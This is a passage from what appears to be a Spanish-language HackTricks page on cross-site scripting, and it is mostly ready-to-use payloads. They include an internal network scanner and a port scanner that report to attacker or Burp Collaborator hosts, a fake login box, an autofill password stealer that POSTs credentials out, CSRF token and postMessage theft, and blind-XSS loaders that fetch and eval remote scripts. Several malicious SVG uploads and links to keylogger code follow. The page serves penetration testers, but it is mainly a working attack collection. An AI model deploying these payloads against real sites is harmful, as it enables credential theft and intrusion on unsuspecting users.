xhr.open("GET", url, true)
xhr.send(null)
```
### Encontrar IPs internas
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
```
### Escáner de Puertos (fetch)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Escáner de Puertos (websockets)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>

```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
```
_Tiempos cortos indican un puerto que responde_ _Tiempos más largos indican que no hay respuesta._

Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) y en Firefox [**aquí**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).

### Caja para solicitar credenciales
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Captura de contraseñas de autocompletar
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Cuando se introduce cualquier dato en el campo de contraseña, el nombre de usuario y la contraseña se envían al servidor del atacante, incluso si el cliente selecciona una contraseña guardada y no escribe nada, las credenciales serán exfiltradas.

### Keylogger

Solo buscando en github encontré algunos diferentes:

- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- También puedes usar metasploit `http_javascript_keylogger`

### Robando tokens CSRF
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### Robando mensajes de PostMessage
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### Abusando de Service Workers

<a class="content_ref" href="abusing-service-workers.md"><span class="content_ref_label">Abusing Service Workers</span></a>

### Accediendo al Shadow DOM

<a class="content_ref" href="shadow-dom.md"><span class="content_ref_label">Shadow DOM</span></a>

### Políglotas

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}

### Cargas útiles de Blind XSS

También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Acceso a Contenido Oculto

De [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, aún es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX todavía es posible encontrarla después de que se eliminó el valor de la entrada del regex:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### Lista de Fuerza Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

## XSS Abusando de otras vulnerabilidades

### XSS en Markdown

¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Verifica:

<a class="content_ref" href="xss-in-markdown.md"><span class="content_ref_label">XSS in Markdown</span></a>

### XSS a SSRF

¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con este payload:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>

```python
<esi:include src="http://yoursite.com/capture" />
```
Úsalo para eludir restricciones de cookies, filtros XSS y mucho más!\
Más información sobre esta técnica aquí: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).

### XSS en PDF creados dinámicamente

Si una página web está creando un PDF utilizando entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, va a **interpretarlas**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**.

<a class="content_ref" href="server-side-xss-dynamic-pdf.md"><span class="content_ref_label">Server Side XSS (Dynamic PDF)</span></a>

Si no puedes inyectar etiquetas HTML, podría valer la pena intentar **inyectar datos PDF**:

<a class="content_ref" href="pdf-injection.md"><span class="content_ref_label">PDF Injection</span></a>

### XSS en Amp4Email

AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para garantizar la funcionalidad con un énfasis en la velocidad y la seguridad. Soporta una variedad de componentes para diversas características, accesibles a través de [AMP components](https://amp.dev/documentation/components/?format=websites).

El formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos electrónicos.

Ejemplo [**writeup XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).

### XSS subiendo archivos (svg)

Sube como imagen un archivo como el siguiente (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">svg</span></div>

```svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">xml</span></div>

```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)

## Trucos JS Misceláneos e Información Relevante

<a class="content_ref" href="other-js-tricks.md"><span class="content_ref_label">Misc JS Tricks & Relevant Info</span></a>

## Recursos XSS

- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)

<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  tip
</p>


Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">

<details>

<summary>Support HackTricks</summary>

- Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
- **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
- **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

</div>